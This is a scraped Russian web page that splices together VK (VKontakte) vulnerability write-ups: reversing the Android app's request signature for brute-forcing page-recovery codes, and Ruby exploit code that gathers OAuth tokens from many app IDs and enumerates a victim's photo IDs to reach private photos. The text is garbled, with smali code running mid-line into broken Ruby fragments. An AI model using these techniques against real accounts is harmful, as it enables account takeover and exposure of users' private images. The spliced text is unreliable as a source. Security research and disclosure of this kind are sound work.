Уязвимость «ВКонтакте» позволяла получить прямые ссылки на приватные фотографии. Что же на этот раз? Реверс инжиниринг: дизассемблирование

Уязвимость «ВКонтакте» позволяла получить прямые ссылки на приватные фотографии. Что же на этот раз? Реверс инжиниринг: дизассемблирование

06.02.2019
9 июля 2017 в 12:30 Уязвимость ВКонтакте: отправляем сообщение с кодом восстановления страницы на чужой номер

Обычным весенним днем, занимаясь «подготовкой» к ЕГЭ по информатике, наткнулся на , позволявшей взломать все аккаунты в социальной сети, за которую выплатили 15000$. Суть уязвимости заключалась в переборе кодов восстановления на тестовом домене компании. Я подумал, а чем собственно ВКонтакте хуже? И решил попробовать провернуть подобный трюк у них. Зная, что веб-версия уже достаточно хорошо исследована, жертвой должен был стать Android клиент, а что из этого вышло можно прочитать под катом.

Смотрим трафик Первым делом я захотел узнать, какую информацию приложение передает в сеть во время процесса восстановления страницы. Помощником в этом деле выступил Fiddler, я настроил его и Android устройство, как написано в официальной документации . Таким образом в Fiddler становятся доступны все HTTP/HTTPS запросы c устройства. Теперь, в приложении, смело выходим из аккаунта ВКонтакте и нажимаем на кнопку «Забыли пароль?». После ввода номера телефона приложение отправляет 2 HTTPS запроса. Особую ценность представляет второй, потому что именно он отвечает за отправку SMS с кодом восстановления.

Особое внимание стоит обратить на некоторые параметры запроса:

phone - номер на который отправляется SMS
session_id - рандомно генерирующаяся сессия операции восстановления Попытка отправить запрос изменив его не увенчалась успехом. Мешает параметр «signature», который выступает в роли «подписи», как она генерируется разберемся немного позже.

Для последующего анализа, в приложении, введём случайный код восстановления и продолжим наблюдать за сетевой активностью. Видим следующий запрос, он проверяет правильность введенного кода. Так как код был случайным - проверка не пройдена.

Честно говоря на этом моменте мне хотелось начать перебирать коды восстановления, меняя значение параметра «code». К сожалению, и этот запрос защищен от изменения с помощью «signature». Придётся разобраться, как генерируется эта подпись.

Реверс инжиниринг: декомпиляция Для первоначального анализа можно попробовать декомпилировать приложение ВКонтакте. Так можно получить некоторые части исходного кода на Java.


Открываем в jd-gui все полученные.jar файлы. И не долго думая, делаем поиск по строке «signature».

LocalObject3 = String.format(Locale.US, "%s%s?%s&signature=%s", new Object { d(), e(), localObject3, URLEncoder.encode(ru.mail.libverify.utils.m.b(f() + (String)localObject4 + ru.mail.libverify.utils.m.c(a.b())), "UTF-8") });
Эта библиотека сделана в лучших традициях security through obscurity, весь код надежно обфусцирован. Поэтому, через jd-gui мне удалось узнать только то, что за «signature» прячется MD5-хэш от неизвестной строки.

Реверс инжиниринг: дизассемблирование Мне требовалось узнать, что за строка поступает в функцию ru.mail.libverify.utils.m.b(). Самый простой способ сделать это - немного изменить код приложения. Ну что ж попробуем. Для начала используем apktool , с командой:

Apktool.jar d vk.apk -r (ключ -r для игнорирования ресурсов)
Теперь, в папках с smali-кодом находим файл в котором происходит генерация MD5. В моем случае путь был такой: smali_classes3\ru\mail\libverify\utils\m.smali. Переходим к нужному методу:

Method public static b(Ljava/lang/String;)Ljava/lang/String; .locals 8 .param p0 # Ljava/lang/String; .annotation build Landroid/support/annotation/NonNull; .end annotation .end param:try_start_0 const-string/jumbo v0, "UTF-8" invoke-virtual {p0, v0}, Ljava/lang/String;->getBytes(Ljava/lang/String;) @app_ids = end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read app = JSON.parse(response)["response"] app_ids cookie_header } @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens 366300000..366500000, "yesterday" => 366050000..366300000, "current_month" => 365000000..366500000, "last_month" => 360000000..365000000, "current_year" => 350000000..366500000, "last_year" => 320000000..350000000 } def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}" encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id)

© 2024 beasthackerz.ru - Браузеры. Аудио. Жесткий диск. Программы. Локальная сеть. Windows